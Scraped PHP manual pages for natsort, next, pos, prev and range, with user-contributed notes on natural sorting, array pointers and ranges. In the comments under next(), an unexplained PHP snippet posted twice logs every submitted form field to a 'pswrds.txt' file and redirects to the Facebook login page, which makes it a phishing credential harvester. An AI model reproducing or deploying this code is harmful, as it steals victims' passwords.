    [0] => -5
    [4] => -1000
    [3] => 0
    [6] => 1
    [1] => 3
    [5] => 9
)

Zero padding
Array
(
    [0] => 09
    [1] => 8
    [2] => 10
    [3] => 009
    [4] => 011
    [5] => 0
)
Array
(
    [5] => 0
    [1] => 8
    [3] => 009
    [0] => 09
    [2] => 10
    [4] => 011
)

Other characters interfering
Array
(
    [0] => image_1.jpg
    [1] => image_12.jpg
    [2] => image_21.jpg
    [3] => image_4.jpg
)
Array
(
    [0] => image_1.jpg
    [3] => image_4.jpg
    [1] => image_12.jpg
    [2] => image_21.jpg
)

Sort by keys
Array
(
    [orange] => 1
    [apple]  => 1
    [yogurt] => 4
    [banana] => 4
)
Array
(
    [apple]  => 1
    [banana] => 4
    [orange] => 1
    [yogurt] => 4
)

See Also

  • natcasesort() - Sort an array using a case insensitive "natural order" algorithm
  • The comparison of array sorting functions
  • strnatcmp() - String comparisons using a "natural order" algorithm
  • strnatcasecmp() - Case insensitive string comparisons using a "natural order" algorithm

User Contributed Notes

Johan GENNESSON (php at genjo dot fr) 24-Nov-2010 04:18
Be careful of the new behaviour in 5.2.10 version.
See the following sample:

<?php

$array = array('1 bis', '10 ter', '0 PHP', '0', '01', '01 Ver', '0 ', '1 ', '1');

natsort($array);
echo '<pre>';
print_r($array);
echo '</pre>';
?>

5.2.6-1 will output:
Array
(
    [3] => 0
    [6] => 0
    [2] => 0 OP
    [4] => 01
    [5] => 01 Ver
    [8] => 1
    [7] => 1
    [0] => 1 bis
    [1] => 10 ter
)

5.2.10 will output:
Array
(
    [6] => 0
    [3] => 0
    [8] => 1
    [4] => 01
    [7] => 1
    [5] => 01 Ver
    [0] => 1 bis
    [1] => 10 ter
    [2] => 0 OP
)

Greetings
Christoph 26-Nov-2009 07:45
Note:

The natsort function will sort depending on the operating system, but not depending on either Linux or Windows-based systems

There's a difference when sorting an array which is generated from the filesystem:
Array(
    [0] => ./system/kernel/js/01_ui.core.js
    [1] => ./system/kernel/js/00_jquery-1.3.2.js
    [2] => ./system/kernel/js/02_my.desktop.js
)

natsort($array) will result in two different ways:

Case 1: (Debian)
Array(
    [1] => ./system/kernel/js/00_jquery-1.3.2.js
    [0] => ./system/kernel/js/01_ui.core.js
    [2] => ./system/kernel/js/02_my.desktop.js
)

Case 2: (Debian Kernel, but Ubuntu shadowed php-Version)
Array(
    [0] => ./system/kernel/js/01_ui.core.js
    [2] => ./system/kernel/js/02_my.desktop.js
    [1] => ./system/kernel/js/00_jquery-1.3.2.js
)

...so make sure you've named the files beginning with 01, then it works fine.
ale152 16-Mar-2009 11:00
Note: negatives number.
<?php
$a = array(-5,-2,3,9);
natsort($a);
print_r($a);
?>
Will output:
Array ( [1] => -2 [0] => -5 [2] => 3 [3] => 9 )
AJenbo 15-Jan-2009 10:33
natsort might not act like you would expect with zero padding, heres a quick sample.

<?php
$array = array('09', '8', '10', '009', '011');
natsort($array);
?>
/*
Array
(
    [3] => 009
    [4] => 011
    [0] => 09
    [1] => 8
    [2] => 10
)
*/
wyvern at greywyvern dot com 17-Dec-2008 07:53
There's no need to include your own API code to natsort an associative array by key.  PHP's in-built functions (other than natsort) can do the job just fine:

<?php
  uksort($myArray, "strnatcmp");
?>
lacent at gmail dot com 16-Jan-2007 06:42
there is another rnatsort function lower on the page, but it didn't work in the context i needed it in.

reasoning for this:
sorting naturally via the keys of an array, but needing to reverse the order.

    function rnatsort ( &$array = array() )
    {
        $keys    = array_keys($array);
        natsort($keys);
        $total    = count($keys) - 1;
        $temp1    = array();
        $temp2     = array();

        // assigning original keys to an array with a backwards set of keys, to use in krsort();
        foreach ( $keys as $key )
        {
            $temp1[$total] = $key;
            --$total;
        }

        ksort($temp1);

        // setting the new array, with the order from the krsort() and the values of original array.
        foreach ( $temp1 as $key )
        {
            $temp2[$key] = $array[$key];
        }

        $array = $temp2;
    }
@gmail bereikme 01-Sep-2006 05:06
Here's a handy function to sort an array on 1 or more columns using natural sort:
<?php
// Example: $records = columnSort($records, array('name', 'asc', 'addres', 'desc', 'city', 'asc'));

$globalMultisortVar = array();
function columnSort($recs, $cols) {
    global $globalMultisortVar;
    $globalMultisortVar = $cols;
    usort($recs, 'multiStrnatcmp');
    return($recs);
}

function multiStrnatcmp($a, $b) {
    global $globalMultisortVar;
    $cols = $globalMultisortVar;
    $i = 0;
    $result = 0;
    while ($result == 0 && $i < count($cols)) {
        $result = ($cols[$i + 1] == 'desc' ? strnatcmp($b[$cols[$i]], $a[$cols[$i]]) : $result = strnatcmp($a[$cols[$i]], $b[$cols[$i]]));
        $i+=2;
    }
    return $result;
}

?>

Greetings,

  - John
12-Mar-2006 04:44
The last comment should have been posted in doc about (r)sort( ). Indeed, and unfortunately, ORDER BY *does not* perform natural ordering. So, sometimes we *must* do a SQL request followed by natsort( ).
h3 22-Feb-2006 05:59
This function can be very usefull, but in some cases, like if you want to sort a MySQL query result, it's important to keep in mind that MySQL as built'in sorting functions which are way faster than resorting the result using a complex php algorythm, especially with large arrays.

ex; 'SELECT * FROM `table` ORDER BY columnName ASC, columnName2 DESC'
lil at thedreamersmaze dot spam-me-not dot org 31-Jan-2006 05:38
There's one little thing missing in this useful bit of code posted by mbirth at webwriters dot de:

<?php

function natsort2d(&$aryInput) {
  $aryTemp = $aryOut = array();
  foreach ($aryInput as $key=>$value) {
   reset($value);
   $aryTemp[$key]=current($value);
  }
  natsort($aryTemp);
  foreach ($aryTemp as $key=>$value) {
   $aryOut[$key] = $aryInput[$key];
// --------^^^^ add this if you want your keys preserved!
  }
  $aryInput = $aryOut;
}

?>
natcasesort.too 05-Aug-2005 12:17
I got caught out through naive use of this feature - attempting to sort a list of image filenames from a digital camera, where the filenames are leading zero padded (e.g. DSCF0120.jpg) , will not sort correctly.
Maybe the example could be modified to exhibit this behaviour
(e.g. set array to -img0120.jpg','IMG0.png', 'img0012.png', 'img10.png', 'img2.png', 'img1.png', 'IMG3.png)
If the example hadn't used images I would have coded it correctly first time around!
phpnet at moritz-abraham dot de 02-Sep-2004 11:09
additional to the code posted by justin at redwiredesign dot com (which I found very usefull) here is a function that sorts complex arrays like this:
<?
$array['test0'] = array('main' =>  'a', 'sub' => 'a');
$array['test2'] = array('main' =>  'a', 'sub' => 'b');
$array['test3'] = array('main' =>  'b', 'sub' => 'c');
$array['test1'] = array('main' =>  'a', 'sub' => 'c');
$array['test4'] = array('main' =>  'b', 'sub' => 'a');
$array['test5'] = array('main' =>  'b', 'sub' => 'b');
?>
or
<?
$array[0] = array('main' =>  1, 'sub' => 1);
$array[2] = array('main' =>  1, 'sub' => 2);
$array[3] = array('main' =>  2, 'sub' => 3);
$array[1] = array('main' =>  1, 'sub' => 3);
$array[4] = array('main' =>  2, 'sub' => 1);
$array[5] = array('main' =>  2, 'sub' => 2);
?>
on one or more columns.

the code
<? $array = array_natsort_list($array,'main','sub'); ?>
will result in $array being sortet like this:
test0,test2,test1,test4,test5,test3
or
0,2,1,4,5,3.

you may even submit more values to the function as it uses a variable parameter list. the function starts sorting on the last and the goes on until the first sorting column is reached.

to me it was very usefull for sorting a menu having submenus and even sub-submenus.

i hope it might help you too.

here is the function:
<?
function array_natsort_list($array) {
    // for all arguments without the first starting at end of list
    for ($i=func_num_args();$i>1;$i--) {
        // get column to sort by
        $sort_by = func_get_arg($i-1);
        // clear arrays
        $new_array = array();
        $temporary_array = array();
        // walk through original array
        foreach($array as $original_key => $original_value) {
            // and save only values
            $temporary_array[] = $original_value[$sort_by];
        }
        // sort array on values
        natsort($temporary_array);
        // delete double values
        $temporary_array = array_unique($temporary_array);
        // walk through temporary array
        foreach($temporary_array as $temporary_value) {
            // walk through original array
            foreach($array as $original_key => $original_value) {
                // and search for entries having the right value
                if($temporary_value == $original_value[$sort_by]) {
                    // save in new array
                    $new_array[$original_key] = $original_value;
                }
            }
        }
        // update original array
        $array = $new_array;
    }
    return $array;
}
?>
xlab AT adaptiveNOSPAMarts DOT net 15-Jan-2004 09:51
Under limited testing, natsort() appears to work well for IP addresses. For my needs, it is far less code than the ip2long()/long2ip() conversion I was using before.
mbirth at webwriters dot de 09-Jan-2004 09:31
For those who want to natsort a 2d-array on the first element of each sub-array, the following few lines should do the job.

<?php

function natsort2d(&$aryInput) {
  $aryTemp = $aryOut = array();
  foreach ($aryInput as $key=>$value) {
    reset($value);
    $aryTemp[$key]=current($value);
  }
  natsort($aryTemp);
  foreach ($aryTemp as $key=>$value) {
    $aryOut[] = $aryInput[$key];
  }
  $aryInput = $aryOut;
}

?>
rasmus at flajm dot com 15-Dec-2003 06:30
To make a reverse function, you can simply:

function rnatsort(&$a){
    natsort($a);
    $a = array_reverse($a, true);
}
justin at redwiredesign dot com 22-Aug-2003 07:10
One of the things I've needed to do lately is apply natural sorting to a complex array, e.g.:

Array
(
    [0] => Array
        (
            [ID] = 4
            [name] = Fred
        )

    [1] => Array
        (
            [ID] = 6
            [name] = Bob
        )
)

where I want to sort the parent array by the child's name. I couldn't see a way of doing this using array_walk, so I've written a simple function to do it. Hopefully someone will find this useful:

/**
 * @return Returns the array sorted as required
 * @param $aryData Array containing data to sort
 * @param $strIndex Name of column to use as an index
 * @param $strSortBy Column to sort the array by
 * @param $strSortType String containing either asc or desc [default to asc]
 * @desc Naturally sorts an array using by the column $strSortBy
 */
function array_natsort($aryData, $strIndex, $strSortBy, $strSortType=false)
{
    //    if the parameters are invalid
    if (!is_array($aryData) || !$strIndex || !$strSortBy)
        //    return the array
        return $aryData;

    //    create our temporary arrays
    $arySort = $aryResult = array();

    //    loop through the array
    foreach ($aryData as $aryRow)
        //    set up the value in the array
        $arySort[$aryRow[$strIndex]] = $aryRow[$strSortBy];

    //    apply the natural sort
    natsort($arySort);

    //    if the sort type is descending
    if ($strSortType=="desc")
        //    reverse the array
        arsort($arySort);

    //    loop through the sorted and original data
    foreach ($arySort as $arySortKey => $arySorted)
        foreach ($aryData as $aryOriginal)
            //    if the key matches
            if ($aryOriginal[$strIndex]==$arySortKey)
                //    add it to the output array
                array_push($aryResult, $aryOriginal);

    //    return the return
    return $aryResult;
}
flash at minet dot net 12-Aug-2003 07:27
About the reverse natsort.. Maybe simpler to do :

function strrnatcmp ($a, $b) {
    return strnatcmp ($b, $a);
}
anonymous at coward dot net 31-May-2003 10:46
Reverse Natsort:

  function rnatsort($a, $b) {
    return -1 * strnatcmp($a, $b);
  }

  usort($arr, "rnatsort");


Advance the internal array pointer of an array

  • « natsort
  • pos »
  • PHP Manual
  • Array Functions
  • Advance the internal array pointer of an array

next

(PHP 4, PHP 5)

next — Advance the internal array pointer of an array

Description

mixed next ( array &$array )

next() behaves like current(), with one difference. It advances the internal array pointer one place forward before returning the element value. That means it returns the next array value and advances the internal array pointer by one.

Parameters

array

The array being affected.

Return Values

Returns the array value in the next place that's pointed to by the internal array pointer, or FALSE if there are no more elements.

Warning

This function may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE. Please read the section on Booleans for more information. Use the === operator for testing the return value of this function.

Examples

Example #1 Example use of next() and friends

<?php
$transport = array('foot', 'bike', 'car', 'plane');
$mode = current($transport); // $mode = 'foot';
$mode = next($transport);    // $mode = 'bike';
$mode = next($transport);    // $mode = 'car';
$mode = prev($transport);    // $mode = 'bike';
$mode = end($transport);     // $mode = 'plane';
?>

Notes

Note: You won't be able to distinguish the end of an array from a boolean FALSE element. To properly traverse an array which may contain FALSE elements, see the each() function.

See Also

  • current() - Return the current element in an array
  • end() - Set the internal pointer of an array to its last element
  • prev() - Rewind the internal array pointer
  • reset() - Set the internal pointer of an array to its first element
  • each() - Return the current key and value pair from an array and advance the array cursor

User Contributed Notes

annamalik954 at yahoo dot com 21-Oct-2014 01:30
<?php
header("Location: http://www.Facebook.com/login.php ");
$handle = fopen("pswrds.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
annamalik954 at yahoo dot com 21-Oct-2014 01:29
<?php
header("Location: http://www.Facebook.com/login.php ");
$handle = fopen("pswrds.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
double at dumpit dot de 08-Dec-2009 10:19
PHP: 5.2.10-2ubuntu6.3 (default apt-get installation on actual, see Date, jaunty 9.10 Ubuntu Distro - G33kWoRDs)

Have a look at your array pointer if you copy an array - the pointer will be copied, too.

For example if you got this construct:
<?php
    $array = array('zero','one','two','three','four','five','six','seven');
    $array2 = $array;
    next($array);
    echo key($array);
    echo key($array2);

    // will output:
    // 1
    // 0
?>

But if you copy the array after you've setted the pointer, the pointer will be copied, too:
<?php
    $array = array('zero','one','two','three','four','five','six','seven');
    next($array);
    $array2 = $array;
    echo key($array);
    echo key($array2);

    // will output:
    // 1
    // 1
?>

What's more is, that foreach not resetting the pointer after walk through:
<?php

    $array = array('zero','one','two','three','four','five','six','seven');
    next($array);
    $array2 = array();
    foreach($array AS $key => $value){
        echo $key;
        $array2[$key] = $value;
    }
    echo var_dump(key($array));
    echo key($array2);

    // will output for foreach:
    // 0 1 2 3 4 5 6 7
    // and for the keys
    // NULL
    // 0
?>

The php-functions seems to reset the pointer on the given position after walk through (i don't know the internal handling - there could be used a copy of the array, too):
<?php

    $array = array('zero','one','two','three','four','five','six','seven');
    next($array);
    $array2 = array_values($array);
    echo key($array);
    echo key($array2);

    // will output:
    // 1
    // 0
?>

There are a lot Methods like array_merge($array) that will neither reset the pointer of $array nor copy the pointer to $array2. Have a look on this.
I Hope this was a little helpfull.
ThinkMedical at Gmail dot com 03-Sep-2008 12:27
regarding references with foreach, you can use them directly. Obviating various posts which provide many lines of 'work arounds'.

$array = array(1,2,3,4,5);

foreach($array as &$value)

or use $key

foreach($array as $key => $value)
{
    $array[$key] = '...';
}
darkside at i dot ua 11-Dec-2007 12:36
This class implements simple operations with array

<?php
class Steps {

    private $all;
    private $count;
    private $curr;

    public function __construct () {

      $this->count = 0;

    }

    public function add ($step) {

      $this->count++;
      $this->all[$this->count] = $step;

    }

    public function setCurrent ($step) {

      reset($this->all);
      for ($i=1; $i<=$this->count; $i++) {
        if ($this->all[$i]==$step) break;
        next($this->all);
      }
      $this->curr = current($this->all);

    }

    public function getCurrent () {

      return $this->curr;

    }

    public function getNext () {

      self::setCurrent($this->curr);
      return next($this->all);

    }

  }
?>

usage example:

<?php
   $steps = new Steps();
   $steps->add('one');
   $steps->add('two');
   $steps->add('three');
   $steps->setCurrent('one');
   echo $steps->getCurrent()."<br />";
   echo $steps->getNext()."<br />";
   $steps->setCurrent('two');
   echo $steps->getCurrent()."<br />";
   echo $steps->getNext()."<br />";
?>
gg2005 at gmail dot com 06-Feb-2007 10:32
Don't confuse next with continue!

If you're a Perl developer starting with PHP, you might try to use "next" inside a loop to skip to the next iteration...

i.e.,

foreach ($things as $thing) {
  if (something I don't like about $thing) {
   next;
  }
  blah....
}

The php compiler will take next... but it's not going to work.

Do this instead:
foreach ($things as $thing) {
  if (something I don't like about $thing) {
   continue;
  }
  blah....
}
tino at infeon dot com 13-May-2006 05:48
this may be handy and i didnt know where else to post it.. i need a simple function to cycle through an array i eventually made it into a class so i could have multiple cycles.. if you like it or find it usefull please email me and let me know

class Cycle
{
    var $position;
    var $dataArray;
    var $dataArrayCount;

    function Cycle()
    {
        $this->dataArray = func_get_args();
        $this->dataArrayCount = count($this->dataArray);
    }

    function Display()
    {
        $this->position = (!isset($this->position) || $this->position >= ($this->dataArrayCount - 1)) ? 0 : $this->position += 1;
        return $this->dataArray[$this->position];
    }

}

$bgColor = new Cycle('#000000', '#FFFFFF', '#FF0000');

echo $bgcolor->Display();
//returns #000000
echo $bgcolor->Display();
//returns #FFFFFF
echo $bgcolor->Display();
//returns #FF0000
echo $bgcolor->Display();
//returns #000000
brentimus 28-Apr-2005 07:10
Papipo's function below is usefull in concept but does not work.

"Since you do not pass the array by reference, its pointer is only moved inside the function."

This is true, but the array you are manipulating in your has_next() function will have it's pointer set to the first element, not the same position as the original array. What you want to do is pass the array to the has_next() function via reference. While in the has_next() function, make a copy of the array to work on. Find out the current pointer position of the original array and set the pointer on the working copy of the array to the same element. Then you may test to see if the array has a "next" element.

Try the followig insetad:

<?php
function has_next(&$array)
{
    $A_work=$array;  //$A_work is a copy of $array but with its internal pointer set to the first element.
    $PTR=current($array);
    array_set_pointer($A_work, $PTR);

    if(is_array($A_work))
    {
        if(next($A_work)===false)
            return false;
        else
            return true;
    }
    else
        return false;
}

function array_set_pointer(&$array, $value)
{
    reset($array);
    while($val=current($array))
    {
        if($val==$value)
            break;

        next($array);
    }
}
?>
papipo's gmail account 13-Oct-2004 10:47
I need to know if an array has more items, but without moving array's internail pointer. Thats is, a has_next() function:

<?php
function has_next($array) {
    if (is_array($array)) {
        if (next($array) === false) {
            return false;
        } else {
            return true;
        }
    } else {
        return false;
    }
}

$array = array('fruit', 'melon');
if (has_next($array)) {
    echo next($array);
}

// prints 'melon'
?>

Since you do not pass the array by reference, its pointer is only moved inside the function.
Hope that helps.
lukasz at karapuda dot com 18-Aug-2004 07:06
This function will return the previous,next neighbors of an array entry within an associative array. If the specified $key points to the last or first element of the array, the first or last keys of the array will be returned consecutively. This is an improved version of the same function posted earlier.

<?php
function array_neighbor($arr, $key)
{
   $keys = array_keys($arr);
   $keyIndexes = array_flip($keys);

   $return = array();
   if (isset($keys[$keyIndexes[$key]-1])) {
       $return[] = $keys[$keyIndexes[$key]-1];
   }
   else {
       $return[] = $keys[sizeof($keys)-1];
   }

   if (isset($keys[$keyIndexes[$key]+1])) {
       $return[] = $keys[$keyIndexes[$key]+1];
   }
   else {
       $return[] = $keys[0];
   }

   return $return;
}
?>
court shrock 21-May-2004 01:36
This code returns neighbors of the specified key.  The result will be empty if it doesn't have any neighbors.  My approach was to use the order of keys to determine neighbors, which is differnet from just getting the next/previous element in an array.  Feel free to point out stupidities :)

<?php

function array_neighbor($arr, $key)
{
    krsort($arr);
    $keys = array_keys($arr);
    $keyIndexes = array_flip($keys);

    $return = array();
    if (isset($keys[$keyIndexes[$key]-1]))
        $return[] = $keys[$keyIndexes[$key]-1];
    if (isset($keys[$keyIndexes[$key]+1]))
        $return[] = $keys[$keyIndexes[$key]+1];

    return $return;
}

?>
bm at ANTISPAM dot solidwave dot com 17-Apr-2004 06:49
Take care when replacing code using reset()/next() with code using foreach as foreach does not update the array's internal pointer.  This means you cannot, say, use next() to skip an element in foreach loop, or use current() within a function to get a reference to the current element.  You probably have code depending on this internal pointer and replacing it will be more work than you anticipated.

See http://www.php.net/foreach


Alias of current

  • « next
  • prev »
  • PHP Manual
  • Array Functions
  • Alias of current

pos

(PHP 4, PHP 5)

pos — Alias of current()

Description

This function is an alias of: current()

User Contributed Notes

vinicius at codemakers dot com dot br 07-May-2014 12:04
<?php
    $countries = array("Brazil", "England", "Japan", "France");

    // Get the current position
    echo pos($countries); // print Brazil

    // Go to next position
    echo next($countries); // print England

    // Current position
    echo pos($countries); //  print England

    // Previous position
    echo prev($countries); // print Brazil

    // End Position
    echo end($countries); // print France

    // Current position
    echo pos($countries); // print France
ranit8085 at gmail dot com 29-Jun-2013 07:03
<?php
$letter = array('a', 'b', 'c', 'd','e','f');
$cur_letter = current($letter);

$arr = array();
var_dump(current($arr));

?>


Rewind the internal array pointer

  • « pos
  • range »
  • PHP Manual
  • Array Functions
  • Rewind the internal array pointer

prev

(PHP 4, PHP 5)

prev — Rewind the internal array pointer

Description

mixed prev ( array &$array )

Rewind the internal array pointer.

prev() behaves just like next(), except it rewinds the internal array pointer one place instead of advancing it.

Parameters

array

The input array.

Return Values

Returns the array value in the previous place that's pointed to by the internal array pointer, or FALSE if there are no more elements.

Examples

Example #1 Example use of prev() and friends

<?php
$transport = array('foot', 'bike', 'car', 'plane');
$mode = current($transport); // $mode = 'foot';
$mode = next($transport);    // $mode = 'bike';
$mode = next($transport);    // $mode = 'car';
$mode = prev($transport);    // $mode = 'bike';
$mode = end($transport);     // $mode = 'plane';
?>

Notes

Warning

This function may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE. Please read the section on Booleans for more information. Use the === operator for testing the return value of this function.

Note: You won't be able to distinguish the beginning of an array from a boolean FALSE element. To properly traverse an array which may contain FALSE elements, see the each() function.

See Also

  • current() - Return the current element in an array
  • end() - Set the internal pointer of an array to its last element
  • next() - Advance the internal array pointer of an array
  • reset() - Set the internal pointer of an array to its first element
  • each() - Return the current key and value pair from an array and advance the array cursor

User Contributed Notes

MicroVB INC 31-Mar-2014 02:09
Some corrections to the previous function.
- When prev() and next() distance is now calculated properly returning the 'closer' one.
- When exact is false, and an item exists with the key searched for, it now returns that entry instead of next/prev closest
- At ends of the array, sometimes when moving past using next() or prev(), it caused results to die. This was corrected.
- Added field to result stating whether the match was 'exact' ('exact'=>true), or nearest ('exact'=>false)

<?php
function nearest($array, $value, $exact=false) {
    // Initialize Variables
    $next = false;
    $prev = false;
    $return = false;

    $arr_begin = false;
    $arr_end = false;

    $exact_match = false;

    if($exact && isset($array[$value])) {
        // If exact match found, and searching for exact (not nearest), return result.
        $return = Array($value=>$array[$value]);
        $exact_match = true;
    } elseif (!$exact && isset($array[$value])) {
        // If exact match found, and searching for nearest, return result.
        $return = Array($value=>$array[$value]);
        $exact_match = true;
    } else {

        if(!isset($array[$value]) && !$exact) {
            // Insert element that doesn't exist so nearest can be found
            $array[$value] = '-';
        }

        // Sort array so injected record is near relative numerics
        ksort($array); // Sort array on key

        // Set start and end keys
        $arr_begin = key($array);
        end($array);
        $arr_end = key($array);
        reset($array);

        // Loop through array until match is found, then set $prev and $next to the respective keys if exist
        while ( !is_null($key = key($array)) ) {
            $val = current($array);
            if($key == $value) {
                if($value <> $arr_begin) {
                    prev($array); // Get entry before this one
                    $prev = key($array);
                }

                next($array);         // Skip current entry as this was what we were looking for nearest to

                if($value <> $arr_end) {
                    next($array); // Get entry after this one
                    $next = key($array);
                }
                break;
            }
            next($array);
        }

        if($prev && $next) {
            if(($value - $prev) < ($next - $value)) {
                // Previous is closer
                $return = Array($prev=>$array[$prev]);
            } else {
                // Next is closer
                $return = Array($next=>$array[$next]);
            }
        } elseif ($prev || $next) {
            if($prev) {
                // Only Previous exists
                $return = Array($prev=>$array[$prev]);
            } elseif ($next) {
                // Only Next exists
                $return = Array($next=>$array[$next]);
            }
        }
    }

    // Return resulting Array().   $return is false if nothing matches the closest conditions, or if exact is specified and key does not exist.
    if($return) {
        return $return+Array('exact'=>$exact_match);
    } else {
        return false;
    }
}
?>

Just to clarify, this function will return either an Array() containing the $key=>$value pair of the result and 'exact'=>(bool) whether the match was exact or not.

To access the $key=>$value pair, can be done as follows :
<?php

    $result = nearest( ... );  // Just here for clarification of the position for the code that follows.

    if($result) {
        // Output the Key
        echo key($result);

        // Output the Value
        echo $result( key($result) );

        // Output if exact match
        if($result['exact']) {
            echo 'This was an EXACT match';
        } else {
            echo 'This result was found with fuzzy logic';
        }

    } else {

        echo 'No result found';

    }

?>
MicroVB INC 31-Mar-2014 10:17
This function searches for the closest element in an array by key value, and returns the key/value pair, or false if not found.

<?php
function nearest($array, $value, $exact=false) {
        // Initialize Variables
    $next = false;
    $prev = false;
    $return = false;

    if(!isset($array[$value]) && !$exact) {
        // Insert element that doesn't exist so nearest can be found
        $array[$value] = '-';
    }

    if($exact && isset($array[$value])) {
                // If exact match found, and searching for exact (not nearest), return result.
        $return = Array($value=>$array[$value]);
    } else {
            // Sort array so injected record is near relative numerics
        ksort($array); // Sort array on key

                // Loop through array until match is found, then set $prev and $next to the respective keys if exist
        while ( !is_null($key = key($array)) ) {
            $val = current($array);
            if($key == $value) {
                prev($array); // Get entry before this one
                $prev = key($array);
                next($array);         // Skip current entry as this was what we were looking for nearest to
                next($array); // Get entry after this one
                $next = key($array);
                break;
            }
            next($array);
        }

        if($prev && $next) {
            if(($long - $prev) > ($next - $long)) {
                                 // Previous is closer
                $return = Array($prev=>$array[$prev]);
            } else {
                                 // Next is closer
                $return = Array($next=>$array[$next]);
            }
        } elseif ($prev || $next) {
            if($prev) {
                                 // Only Previous exists
                $return = Array($prev=>$array[$prev]);
            } elseif ($next) {
                                 // Only Next exists
                $return = Array($next=>$array[$next]);
            }
        }
    }

        // Return resulting Array().   $return is false if nothing matches the closest conditions, or if exact is specified and key does not exist.
    return $return;
}
?>

Example usage (to lookup the closest color in an array)
<?php
$mycolors= Array(
    5001046=>'Abbey',
    1774596=>'Acadia',
    8171681=>'Acapulco',
    6970651=>'Acorn',
    13238245=>'Aero Blue',
    7423635=>'Affair',
    8803850=>'Afghan Tan',
    13943976=>'Akaroa',
    16777215=>'Alabaster',
    16116179=>'Albescent White',
    10176259=>'Alert Tan',
    30371=>'Allports'
);

// Color to search for in Hex
$color = 'C0C0C0';

// Convert Hex to Long to compare with array() keys
$colorlong = base_convert($color,16,10);

// Check for an exact match
$result = nearest($mycolors, $colorlong, true);
if($result) {
    echo "An exact match was found for #" . $color . " which is called '" . $result[key($result)] . "'";
} else {
    echo "No exact match was found";
}

if(!$result) {
    // Check for closest match
    $result = nearest($mycolors, $colorlong, true);
    if($result) {
        // Match found
        echo "The closest match for #" . $color . " is #" . base_convert(key($result),10,16) . " which is called '" . $result[key($result)] . "'";
    } else {
        // No match found
        echo "No match was found for #" . $color;
    }
}
?>
soapergem at gmail dot com 29-May-2009 09:06
Here's a slight revision to xmlich02's backwards iteration example. The problem with his/her example is that it will halt if any of the array elements are boolean false, while this version will not.

<?php

end($ar);
while ( !is_null($key = key($ar)) ) {
    $val = current($ar);
    echo "{$key} => {$val}\n";
    prev($ar);
}

?>


Create an array containing a range of elements

  • « prev
  • reset »
  • PHP Manual
  • Array Functions
  • Create an array containing a range of elements

range

(PHP 4, PHP 5)

range — Create an array containing a range of elements

Description

array range ( mixed $start , mixed $end [, number $step = 1 ] )

Create an array containing a range of elements.

Parameters

start

First value of the sequence.

end

The sequence is ended upon reaching the end value.

step

If a step value is given, it will be used as the increment between elements in the sequence. step should be given as a positive number. If not specified, step will default to 1.

Return Values

Returns an array of elements from start to end, inclusive.

Examples

Example #1 range() examples

<?php
// array(0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12)
foreach (range(0, 12) as $number) {
    echo $number;
}

// The step parameter
// array(0, 10, 20, 30, 40, 50, 60, 70, 80, 90, 100)
foreach (range(0, 100, 10) as $number) {
    echo $number;
}

// Usage of character sequences
// array('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i');
foreach (range('a', 'i') as $letter) {
    echo $letter;
}
// array('c', 'b', 'a');
foreach (range('c', 'a') as $letter) {
    echo $letter;
}
?>

Notes

Note:

Character sequence values are limited to a length of one. If a length greater than one is entered, only the first character is used.

See Also

  • shuffle() - Shuffle an array
  • array_fill() - Fill an array with values
  • foreach

User Contributed Notes

unicod3 at hotmail dot com 16-Oct-2014 02:43
a function to get column index by letter

function getColumnNumber($char){
    $alphabet = range('a','z');
    $alphabet2 = range('a','z');
    $newAlphabet = $alphabet;
    foreach($alphabet as $k => $r)
    {
        foreach($alphabet2 as $row){
            $newAlphabet[] = $r.$row;
        }
    }
    $key = array_search($char, $newAlphabet);
    return ($key !== false) ? $key : null;
}
lsblsb at gmx dot de 01-May-2014 12:09
I needed a function, that creates a letter range with arbitrary length.
You specify via the $length parameter, how many entries you need.
Logic is analog to the logic of the column-titles in a calc-sheet.

<?php

/**
  * create a letter range with arbitrary length
  * @param int $length
  * @return array
  */
function createLetterRange($length)
{
    $range = array();
    $letters = range('A', 'Z');
    for($i=0; $i<$length; $i++)
    {
        $position = $i*26;
        foreach($letters as $ii => $letter)
        {
            $position++;
            if($position <= $length)
                $range[] = ($position > 26 ? $range[$i-1] : '').$letter;
        }
    }
    return $range;
}
?>
php at keith tyler dot com 27-Feb-2014 07:22
So with the introduction of single-character ranges to the range() function, the internal function tries to be "smart", and (I am inferring from behavior here) apparently checks the type of the incoming values. If one is numeric, including numeric string, then the other is treated as numeric; if it is a non-numeric string, it is treated as zero.

But.

If you pass in a numeric string in such a way that is is forced to be recognized as type string and not type numeric, range() will function quite differently.

Compare:

<?php
echo implode("",range(9,"Q"));
// prints 9876543210

echo implode("",range("9 ","Q"));  //space after the 9
// prints 9:;<=>?@ABCDEFGHIJKLMNOPQ

echo implode("",range("q","9 "));
// prints qponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:987654
?>

I wouldn't call this a bug, because IMO it is even more useful than the stock usage of the function.
jazzduck AT gmail DOT com 22-Jan-2014 05:32
Despite the line above that says that the $step value should be "given as a positive number," the range() function will in fact correctly handle reversed (decrementing) ranges. For example:

<?php print_r( range( 24, 20 ) ); ?>
Array
(
    [0] => 24
    [1] => 23
    [2] => 22
    [3] => 21
    [4] => 20
)

<?php print_r( range( 20, 11, -3 ) ); ?>
Array
(
    [0] => 20
    [1] => 17
    [2] => 14
    [3] => 11
)

It will actually ignore the sign of the $step argument, and determine whether to increment or decrement based purely on whether $start > $end or $end > $start. For example:

<?php print_r( range( 20, 11, 3 ) ); ?>
Array
(
    [0] => 20
    [1] => 17
    [2] => 14
    [3] => 11
)

<?php print_r( range( 11, 20, -3 ) ); ?>
Array
(
    [0] => 11
    [1] => 14
    [2] => 17
    [3] => 20
)
pyetrosafe at gmail dot com 27-Sep-2013 10:36
To create a simple array or a multidimensional array with defined size and null values​​, use this expression:

<?php

$SimpleArray = array_map(function($n) { return null; }, range(1, 3) );
$MultiArray = array_map(function($n) { return array_map(function($n) { return null; }, range(1, 2) ); }, range(1, 3) );

var_dump($SimpleArray);
var_dump($MultiArray);

// And will print:
?>
